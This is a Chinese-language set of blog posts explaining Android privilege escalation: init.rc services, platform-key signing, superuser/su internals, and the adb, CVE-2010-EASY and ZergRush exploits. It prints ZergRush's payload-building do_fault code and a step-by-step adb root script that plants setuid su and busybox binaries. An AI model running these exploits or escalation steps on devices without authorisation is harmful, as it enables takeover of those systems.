        if (fork() == 0) {

               fork();

               for (;;)

                       sleep(0x743C);

        }

 

        wait_for_root_adb(adb_pid);

        return 0;

}

 

 

Android程式的安全系統

在Android系統中,系統為每一個應用程式(apk)建立了一個使用者和組。這個使用者和組都是受限使用者,不能訪問系統的資料,只能訪問自己的檔案和目錄,當然它也不能訪問其他應用程式的資料。這樣設計可以儘可能地保護應用程式的私有資料,增強系統的安全性和健壯性。

     但是有一些應用程式是需要訪問一些系統資源的。比如Setting程式,它需要訪問WiFi,在系統中建立刪除檔案等等操作。怎樣做到這一點兒呢?Android通過一定途徑可以獲得system許可權。獲得system使用者許可權,需要以下步驟:

1. 在應用程式的AndroidManifest.xml中的manifest節點中加入android:sharedUserId="android.uid.system"這個屬性。
2. 修改Android.mk檔案,加入LOCAL_CERTIFICATE := platform這一行 
3. 使用mm命令來編譯,生成的apk就有修改系統時間的許可權了。

     一般情況下system使用者可以在系統中建立和刪除檔案,訪問裝置等等。但是有些情況下system許可權還是不夠的。比如:設定網路卡IP地址,ifconfig命令是需要root許可權的。我可以很肯定的說,在Android下面應用程式是沒有可能拿到root許可權的。但是如果我的應用程式需要root許可權怎麼辦呢?只能想辦法繞般過去。就以我的問題為例,設定網路卡IP地址,root許可權下面命令為:

ifconfig eth0 192.168.1.188

在普通使用者或者system使用者許可權下面這條命令是不起作用的,但是不會返回失敗和異常,那麼怎樣實現這個功能呢。

1、系統啟動的時候init程式建立一個後臺程式,該程式處於root使用者許可權下面。用來監聽系統中應用程式的請求(可以用socket實現),並代其完成。這樣應用程式就可以執行root使用者許可權的任務了。

2、實現一個虛擬的裝置,該裝置的功能就是在核心態幫應用程式執行相應的命令。Linux核心態沒有許可權的問題了。肯定可以執行成功。

     解決設定網路卡IP地址問題時,選擇是後者相對來說設計比較簡單。

 

 

 


Android應用程式利用init.rc service獲得root許可權

釋出於:想在android應用程式中動態mount一個NFS的系統,但是執行mount命令必須要root許可權才可以。一般情況下,在Android的APK層是不能獲得root許可權的。

上一節提到實現由init啟動的Service,來幫助Android應用程式執行root許可權的命令或者實現一個虛擬裝置,這個裝置幫助Android應用程式執行root許可權的命令。

  本文將會選擇第一種來解決Android應用程式mount NFS檔案系統的問題。

Init.rc Service

  在Android系統init.rc中定義很多Service,Init.rc中定義的Service將會被Init程式建立,這樣將可以獲得root許可權。

  設定系統屬性“ctl.start”,把“ctl.start”設定為你要執行的Service,假設為“xxx”,Android系統將會幫你執行“ctl.start”系統屬性中指定的Service。那麼執行結果init程式會寫入命名為“init.svc.+xxx”的系統屬性中,應用程式可以參考查閱這個值來確定Service xxx執行的情況。

Android系統屬性(property)許可權

   難道Android屬性“ctl.start”不是所有程式都可以設定的,見property_service.c中的原始碼,設定Android系統屬性的函式為handle_property_set_fd(),從原始碼中可以發現如果設定“ctl.”開頭的Android系統屬性,將會呼叫check_control_perms函式來檢查呼叫者的許可權,只有root許可權和system許可權的應用程式才可以修改“ctl.”開頭的Android系統屬性。否則將會檢查control_perms全域性變數中的定義許可權和Service。從程式碼中可以看到,任何不以property_perms[] 中定義的字首開頭的property 是無法被除root以外的使用者訪問的,包括system使用者。

例項

   下面以上面提出的mount nfs檔案系統為例說明:

A首先定義一個執行mount的指令碼,我把它位於/system/etc/mount_nfs.sh,定義如下:

  1: #!/system/bin/sh

  2: 

  3: /system/bin/busybox mount -o rw,nolock -t nfs 192.168.1.6:/nfs_srv /data/mnt

不要忘了把它加上可執行許可權。

B在init.rc中加入一個Service定義,定義如下:

  1: service mount_nfs /system/etc/mount_nfs.sh

  2:    oneshot

  3:    disabled

C讓自己的應用程式獲得system許可權,方法見前面章節

D.在自己應用程式中設定System系統屬性“ctl.start”為“mount_nfs”,這樣Android系統將會幫我們執行mount_nfs系統屬性了。不能夠呼叫System.getProperty,這個函式只是修改JVM中的系統屬性。只能呼叫android.os.SystemProperties,最終通過JNI呼叫C/C++層的API property_get和property_set函式。

  SystemProperties.set("ctl.start","mount_nfs");

E.最後在自己應用程式中,讀取“init.svc.mount_nfs”Android系統Property,檢查執行結果。程式碼如下:

  1:while(true)

  2: {

  3:    mount_rt = SystemProperties.get("init.svc.mount_nfs","");

  4:    if(mount_rt != null && mount_rt.equals("stopped"))

  5:    {

  6:        return true;

  7:    }

  8:    

  9:    try

 10:    {

 11:        Thread.sleep(1000);

 12:    }catch(Exception ex){

 13:        Log.e(TAG,"Exception: " + ex.getMessage());

 14:    }

 15: }

    init程式維護一個service的佇列,所以我們需要輪訓來查詢service的執行結果。

1. 檔案()讀寫許可權

init.rc 中建立test1 test2 test3資料夾

mkdir /data/misc/test1 0770 root root   

mkdir /data/misc/test2 0770 wifi wifi

mkdir /data/misc/test3 0770 system misc

其中

test1 目錄的ownerroot, group也是root

test2 目錄的ownerwifi , group也是wifi

test3 目錄的ownersystem , groupmisc (任何使用者都屬於group misc

 

service xxxx /system/bin/xxxx

    user root

    disabled

    oneshot

 

service yyyy /system/bin/yyyy

    user system

    disabled

    oneshot

 

service zzzz /system/bin/zzzz

    user wifi

    disabled

    oneshot

 

結果:

 

xxxx 服務可以訪問 test1, test2, test3

yyyy 服務可以訪問 test3

zzzz 服務可以訪問 test2, test3

 

android_filesystem_config.h中定義AID_ROOT  AID_SYSTEM  AID_MISC等巨集定義的許可權

360等特殊系統是否可以考慮在AID_ROOTAID_SYSTEM之間加一個許可權和使用者,增加新的哦property給360用?

 

   通過上面的這些步驟,Android應用程式就能夠呼叫init.rc中定義的Service了。這樣你的Android應用程式也就獲得了root許可權。前提是Android系統開發人員,否則你無法修改init.rc等檔案,而且應用程式必須要獲得system許可權。

 

 

 

android superuser.apk 管理root許可權原理分析  

原理是利用了android的兩個提權漏洞: CVE-2010-EASY和 ZergRush。 我把大概原理簡單說說:
1, CVE-2010-EASY: linux的核心的模組化程度很高,很多功能模組是需要到時候再載入,在android中由init程式來管理這些的。但是這個init程式不會檢測發給它的指令的來源,不管是核心傳送的,還是使用者傳送的,它都執行不誤,會順從的去載入或解除安裝一些模組,而載入的模組都是以root身份執行的。因此你可以給它準備一個精心製作的功能模組(ko檔案),然後觸發相應的載入條件,比如熱拔插、開關wifi等等, 該功能模組執行後,會生成 /data/local/tmp/rootshell    一個帶s位的shell。
2,ZergRush原理: 具有root許可權的vold程式使用了libsysutils.so庫,該庫有個函式存在棧溢位,因此可以root許可權執行輸入的shellcode。
3. 還有個前面提到的adb提權漏洞,不夠新版本已經修正了。

扯了半天還沒扯到superuser.apk,這個程式是root成功後,專門用來管理root許可權使用的,防止被惡意程式濫用。
原始碼地址:
http://superuser.googlecode.com/svn/trunk

帶著兩個問題我們來分析原始碼:
1、superuser是怎麼知道誰想用root許可權? 
2、superuser是如何把使用者的選擇告訴su程式的那?

即superuser和su程式是如何通訊的,他們倆位於不通的時空,一個在java虛擬機器中,一個在linux的真實程式中。

共有兩個active: SuperuserActivity和 SuperuserRequestActivity。
其中SuperuserActivity主要是用來管理白名單的,就是記住哪個程式已經被允許使用root許可權了,省的每次用時都問使用者。
SuperuserRequestActivity 就是用來詢問使用者目前有個程式想使用root許可權,是否允許,是否一直允許,即放入白名單。

這個白名單比較關鍵,是一個sqlite資料庫檔案,位置:
/data/data/com.koushikdutta.superuser/databases/superuser.sqlite

root
的本質就是往 /system/bin/下放一個帶s位的,不檢查呼叫者許可權的su檔案。普通程式可以呼叫該su來執行root許可權的命令。superuser.apk中就自帶了一個這樣的su程式。一開始superuser會檢測/system/bin/su是否存在,是否是自個放進去的su:

File su = new File("/system/bin/su");
// 檢測su檔案是否存在,如果不存在則直接返回
    if (!su.exists())        
    {
        Toast toast = Toast.makeText(this, "Unable to find 
/system/bin/su.", Toast.LENGTH_LONG);
        toast.show();
        return;
    }
    //檢測su檔案的完整性,比較大小,太省事了吧
    //如果大小一樣,則認為su檔案正確,直接返回了事。
   if (su.length() == suStream.available())  
   {
     suStream.close(); 
     return;   }
            

 

  // 如果檢測到/system/bin/su 檔案存在,但是不對頭,則把自帶的su先寫到"/data/data/com.koushikdutta.superuser/su"
    //      再寫到/system/bin/su。
   byte[] bytes = new byte[suStream.available()];
   DataInputStream dis = new DataInputStream(suStream);
   dis.readFully(bytes);
   FileOutputStream suOutStream = new FileOutputStream("/data/data/com.koushikdutta.superuser/su");
   suOutStream.write(bytes);
   suOutStream.close();
   
   Process process = Runtime.getRuntime().exec("su");
   DataOutputStream os = new DataOutputStream(process.getOutputStream());
   os.writeBytes("mount -oremount,rw /dev/block/mtdblock3 /system\n");
   os.writeBytes("busybox cp /data/data/com.koushikdutta.superuser/su /system/bin/su\n");
   os.writeBytes("busybox chown 0:0 /system/bin/su\n");
   os.writeBytes("chmod 4755 /system/bin/su\n");
   os.writeBytes("exit\n");
   os.flush();


上面提到的su肯定是動過手腳的,有程式使用root許可權,superuser是怎麼知道的,看完su的程式碼明白了,關鍵是句:

  sprintf(sysCmd, "am start -a android.intent.action.MAIN 
                                 -n com.koushikdutta.superuser/com.koushikdutta.superuser.SuperuserRequestActivity 
                                 --ei uid %d --ei pid %d > /dev/null", g_puid, ppid);
  if (system(sysCmd))
   return executionFailure("am.");

原理是am命令,看了下am的用法,明白了:
Android中,除了從介面上啟動程式之外,還可以從命令列啟動程式,使用的是命令列工具am.啟動的方法為

$ adb shell
$ su
# am start -n 
{包(package)名}/{包名}.{活動(activity)名稱}

程式的入口類可以從每個應用的AndroidManifest.xml的檔案中得到,以計算器(calculator)為例,它的

<manifest xmlns:android="http://schemas.android.com/apk/res/android" …

package="com.android.calculator2" …>…

由此計算器(calculator)的啟動方法為:

# am start -n com.android.calculator2/com.android.calculator2.Calculator

一般情況希望,一個Android應用對應一個工程。值得注意的是,有一些工程具有多個活動(activity),而有一些應用使用一個工程。例如:在Android介面中,MusicVideo是兩個應用,但是它們使用的都是packages/apps/Music這一個工程。而在這個工程的AndroidManifest.xml檔案中,有包含了不同的活動(activity)。

Music 和 Video(音樂和視訊)的啟動方法為:

# am start -n com.android.music/com.android.music.MusicBrowserActivity

# am start -n com.android.music/com.android.music.VideoBrowserActivity

# am start -n com.android.music/com.android.music.MediaPlaybackActivity

 啟動瀏覽器 :

am start -a android.intent.action.VIEW -d  http://www.google.cn/

 

撥打電話 :

am start -a android.intent.action.CALL -d tel:10086

 

啟動 google map直接定位到北京 :

am start -a android.intent.action.VIEW geo:0,0?q=beijing


  usage: am [subcommand] [options]

    start an Activity: am start [-D] [-W] <INTENT>
        -D: enable debugging
        -W: wait for launch to complete

    start a Service: am startservice <INTENT>

    send a broadcast Intent: am broadcast <INTENT>

    start an Instrumentation: am instrument [flags] <COMPONENT>
        -r: print raw results (otherwise decode REPORT_KEY_STREAMRESULT)
        -e <NAME> <VALUE>: set argument <NAME> to <VALUE>
        -p <FILE>: write profiling data to <FILE>
        -w: wait for instrumentation to finish before returning

    start profiling: am profile <PROCESS> start <FILE>
    stop profiling: am profile <PROCESS> stop

    <INTENT> specifications include these flags:
        [-a <ACTION>] [-d <DATA_URI>] [-t <MIME_TYPE>]
        [-c <CATEGORY> [-c <CATEGORY>] ...]
        [-e|--es <EXTRA_KEY> <EXTRA_STRING_VALUE> ...]
        [--esn <EXTRA_KEY> ...]
        [--ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> ...]
        [-e|--ei <EXTRA_KEY> <EXTRA_INT_VALUE> ...]
        [-n <COMPONENT>] [-f <FLAGS>]
        [--grant-read-uri-permission] [--grant-write-uri-permission]
        [--debug-log-resolution]
        [--activity-brought-to-front] [--activity-clear-top]
        [--activity-clear-when-task-reset] [--activity-exclude-from-recents]
        [--activity-launched-from-history] [--activity-multiple-task]
        [--activity-no-animation] [--activity-no-history]
        [--activity-no-user-action] [--activity-previous-is-top]
        [--activity-reorder-to-front] [--activity-reset-task-if-needed]
        [--activity-single-top]
        [--receiver-registered-only] [--receiver-replace-pending]
        [<URI>]


還有個疑點,就是su怎麼知道使用者是允許root許可權還是反對那?原來是上面提到的白名單起來作用,superuser把使用者的選擇放入 :
/data/data/com.koushikdutta.superuser/databases/superuser.sqlite    資料庫中,然後su程式再去讀該資料庫來判斷是否允許。

static int checkWhitelist()
{
 sqlite3 *db;
 int rc = sqlite3_open_v2(DBPATH, &db, SQLITE_OPEN_READWRITE, NULL);
 if (!rc)
 {
  char *errorMessage;
  char query[1024];
  sprintf(query, "select * from whitelist where _id=%d limit 1;", g_puid);
  struct whitelistCallInfo callInfo;
  callInfo.count = 0;
  callInfo.db = db;
  rc = sqlite3_exec(db, query, whitelistCallback, &callInfo, &errorMessage);
  if (rc != SQLITE_OK)
  {
   sqlite3_close(db);
   return 0;
  }
  sqlite3_close(db);
  return callInfo.count;
 }
 sqlite3_close(db);
 return 0;
}



 

獲取一鍵root原理

轉自:http://blog.csdn.net/liujian885/archive/2010/03/22/5404834.aspx

在 android的API中有提供 SystemClock.setCurrentTimeMillis()函式來修改系統時間,可惜無論你怎麼呼叫這個函式都是沒用的,無論模擬器還是真機,在logcat中總會得到"Unable to open alarm driver: Permission denied ".這個函式需要root許可權或者執行與系統程式中才可以用。本來以為就沒有辦法在應用程式這一層改系統時間了,後來在網上搜了好久,知道這個目的還是可以達到的。

        第一個方法簡單點,不過需要在Android系統原始碼的環境下用make來編譯:

        1. 在應用程式的AndroidManifest.xml中的manifest節點中加入android:sharedUserId="android.uid.system"這個屬性。

        2. 修改Android.mk檔案,加入LOCAL_CERTIFICATE := platform這一行

        3. 使用mm命令來編譯,生成的apk就有修改系統時間的許可權了。

        第二個方法麻煩點,不過不用開虛擬機器跑到原始碼環境下用make來編譯:

        1. 同上,加入android:sharedUserId="android.uid.system"這個屬性。

        2. 使用eclipse編譯出apk檔案,但是這個apk檔案是不能用的。

        3. 使用目標系統的platform金鑰來重新給apk檔案簽名。這步比較麻煩,首先找到金鑰檔案,在我的Android原始碼目錄中的位置是"build\target\product\security",下面的platform.pk8和platform.x509.pem兩個檔案。然後用Android提供的Signapk工具來簽名,signapk的原始碼是在"build\tools\signapk"下,用法為"signapk platform.x509.pem platform.pk8 input.apk output.apk",檔名最好使用絕對路徑防止找不到,也可以修改原始碼直接使用。

        這樣最後得到的apk和第一個方法是一樣的。

        最後解釋一下原理,首先加入android:sharedUserId="android.uid.system"這個屬性。通過Shared User id,擁有同一個User id的多個APK可以配置成執行在同一個程式中。那麼把程式的UID配成android.uid.system,也就是要讓程式執行在系統程式中,這樣就有許可權來修改系統時間了。

        只是加入UID還不夠,如果這時候安裝APK的話發現無法安裝,提示簽名不符,原因是程式想要執行在系統程式中還要有目標系統的platform key,就是上面第二個方法提到的platform.pk8和platform.x509.pem兩個檔案。用這兩個key簽名後apk才真正可以放入系統程式中。第一個方法中加入LOCAL_CERTIFICATE := platform其實就是用這兩個key來簽名。

        這也有一個問題,就是這樣生成的程式只有在原始的Android系統或者是自己編譯的系統中才可以用,因為這樣的系統才可以拿到platform.pk8和platform.x509.pem兩個檔案。要是別家公司做的Android上連安裝都安裝不了。試試原始的Android中的key來簽名,程式在模擬器上執行OK,不過放到G3上安裝直接提示"Package ... has no signatures that match those in shared user android.uid.system",這樣也是保護了系統的安全。

        最最後還說下,這個android:sharedUserId屬性不只可以把apk放到系統程式中,也可以配置多個APK執行在一個程式中,這樣可以共享資料,應該會很有用的。


signapk編譯結束後在 android目錄下/out/host/linux-x86/framework/signapk.jar
使用方法:java -jar signapk.jar platform.x509.pem platform.pk8 test.apk test_signed.apk檔案。

 

漏洞— zergRush

提權實現的程式碼,見:

https://github.com/revolutionary/zergRush/blob/master/zergRush.c

 

需要了解一下是哪個地方有問題,邊分析邊記錄此次過程。

檔案不大,當然從 main 入手了,

 if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))  

     do_root();

 

明顯,當有了 Root 能力後去做一個可以保持 Root 的動作,猜測,此程式會被呼叫多次,並且再次呼叫的時候程式名稱為 boomsh

 

看一下 do_root 吧


寫了一個屬性 ro.kernel.qemu 為 1

明顯是讓手機當成模擬器執行,見 \android2.32\system\core\adb\adb.c 中的程式碼

1.  /* run adbd in secure mode if ro.secure is set and 

2.  ** we are not in the emulator 

3.  */  

4.  property_get("ro.kernel.qemu", value, "");  

5.  if (strcmp(value, "1") != 0) {  

6.      property_get("ro.secure", value, "");  

7.      if (strcmp(value, "1") == 0) {  

8.          // don't run as root if ro.secure is set...   

9.          secure = 1;  

10.   

11.         // ... except we allow running as root in userdebug builds if the    

12.         // service.adb.root property has been set by the "adb root" command   

13.         property_get("ro.debuggable", value, "");  

14.         if (strcmp(value, "1") == 0) {  

15.             property_get("service.adb.root", value, "");  

16.             if (strcmp(value, "1") == 0) {  

17.                 secure = 0;  

18.             }  

19.         }  

20.     }  

21. }  


以後呼叫 adb 預設是 Root 使用者了。

 

下面又做了一件事把自己拷貝到 /data/local/tmp/boomsh

把 SH 拷貝到 /data/local/tmp/sh

改變 /data/local/tmp/boomsh 的許可權為 711 ,可執行了

 

然後獲取 /system/bin/vold 程式的大小,

通過 heap_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; 這樣的一個計算,得到該程式的堆地址, 有點意思了,對 vold 程式有了歪腦筋了

用過在手機上用 ps 看一下,這個程式有是從 root  使用者執行過來的。

 

然後獲取了一下手機的版本號,只對 2.2 2.3 二個版本進行處理,並修正了一上 heap_addr  的地址。

然後又找了一下 system 系統呼叫函式的地址,放到 system_ptr 中

繼續看 checkcrash()

>> 清除了一下 logcat 日誌

>> 刪除 /data/local/tmp/crashlog 檔案

>> 簡立一個子程式,去生成一下 crashlog 檔案。

>> 呼叫 do_fault

>> 開啟 crashlog 檔案

>> 在 crashlog 中找到崩潰資訊,找到 sp 暫存器地址。

 

等等,為什麼崩潰呢,肯定是在 do_fault 中製造的,我們要看看這塊了

這個函式比較亂,找找重點看

if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)

不錯的資訊,連線 vold ,又是它,以前聽說過它有漏洞,這次還是它。

write(sock, buf, n+1)

寫了一些資訊,不知道什麼資訊,但是可以肯定的是,能讓 vold 崩潰的資訊。

 

下面回到 main  繼續!

 

一個 For 迴圈處理。

find_stack_addr 用了上面的相同方法,從崩潰資訊中找到程式的棧地址,(至於怎麼計算的,以後再去研究了)

 

一些容錯檢查,略過!

 

kill(logcat_pid, SIGKILL);
unlink(crashlog);

 

find_rop_gadgets()

又一個陌生函式。看了,暫時看不出用途,貌似找點什麼,繼續!

 

下面就是再次呼叫 do_fault ,生成崩潰。

再次判斷 sh 是否有沒有 s 位, 如果有了,剛 ROOT 功了。

 

疑問來了,沒發現怎麼再次呼叫 boomsh 執行執行 do_root 啊。 順著它拷貝出來的 sh 檔案找找,搜尋 bsh 變理的使用情況,發現如下地方:

 

1.  static int do_fault()  

2.  {  

3.      char buf[255];  

4.      int sock = -1, n = 0, i;  

5.      char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];  

6.      uint32_t bsh_addr;  

7.      char padding[128];  

8.      int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);  

9.    

10.     memset(padding, 0, 128);  

11.     strcpy(padding, "LORDZZZZzzzz");  

12.     if(padding_sz > 0) {  

13.         memset(padding+12, 'Z', padding_sz);  

14.         printf("[*] Poping %d more zerglings\n", padding_sz);  

15.     }  

16.     else if(padding_sz < 0) {  

17.         memset(padding, 0, 128);  

18.         memset(padding, 'Z', 12+padding_sz);  

19.     }  

20.   

21.     if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)  

22.         die("[-] Error creating Nydus");  

23.   

24.     sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);  

25.     sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);  

26.     sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);  

27.     sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);  

28.     sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);  

29.   

30.     strcpy(buf, "ZERG");  

31.     strcat(buf, " ZZ ");  

32.     strcat(buf, s_stack_pivot_addr);  

33.     for(i=3; i < buffsz+1; i++)  

34.         strcat(buf, " ZZZZ");  

35.     strcat(buf, " ");  

36.     strcat(buf, s_heap_addr);  

37.           

38.     n = strlen(buf);  

39.     bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;  

40.       

41.     if(check_addr(bsh_addr) == -1) {  

42.         printf("[-] Colossus, we're doomed!\n");  

43.         exit(-1);  

44.     }  

45.   

46.     sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);  

47.   

48.     <strong><span style="color:#ffffff;BACKGROUND-COLOR: #ff0000">n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);</span></strong>  

49.       

50.     printf("[*] Sending %d zerglings ...\n", n);  

51.   

52.     if ((n = write(sock, buf, n+1)) < 0)  

53.         die("[-] Nydus seems broken");  

54.       

55.     sleep(3);  

56.     close(sock);  

57.   

58.     return n;  

59. }  


看到上面加色的行了,原來他是用 socket 寫的一個 shell code ,呼叫了他拷貝的 sh 程式。

在 vold 中執行 sh 肯定是 root 啊。

 

至此,原理很是清楚了, shell code 嘛,執行的時候把他 dump 出來用別的工具看吧!

一鍵ROOT指令碼

1.等待裝置連線

 adb wait-for-device                          

2.刪除檔案

 adb shell "cd /data/local/tmp/; rm *"        

3.上傳zergRush並修改屬性去執行

 adb push c:\zergRush /data/local/tmp/

 adb shell "chmod 777 /data/local/tmp/zergRush"

 adb shell "/data/local/tmp/zergRush"

 adb wait-for-device

4.上傳busybox、給busybox檔案執行許可權,以可以方式載入檔案系統

 adb push c:\busybox /data/local/tmp/

 adb shell "chmod 755 /data/local/tmp/busybox"

 adb shell "/data/local/tmp/busybox mount -o remount,rw /system"

5.複製busybox,修改所在的組及設定s

 adb shell "dd if=/data/local/tmp/busybox of=/system/xbin/busybox"

 adb shell "chown root.shell /system/xbin/busybox"

 adb shell "chmod 04755 /system/xbin/busybox"

6.安裝busybox並刪除臨時檔案

 adb shell "/system/xbin/busybox --install -s /system/xbin"

 adb shell "rm -rf /data/local/tmp/busybox"

7.su進行類似busybox的處理

 adb push c:\fu /system/bin/su

 adb shell "chown root.shell /system/bin/su"

 adb shell "chmod 06755 /system/bin/su"

 adb shell "rm /system/xbin/su"

 adb shell "ln -s /system/bin/su /system/xbin/su"

8.安裝其它工具

 adb push c:\superuser.apk /system/app/

 adb shell "cd /data/local/tmp/; rm *"

 adb reboot

 adb wait-for-device

 adb install c:\recovery.apk

 

2

相關文章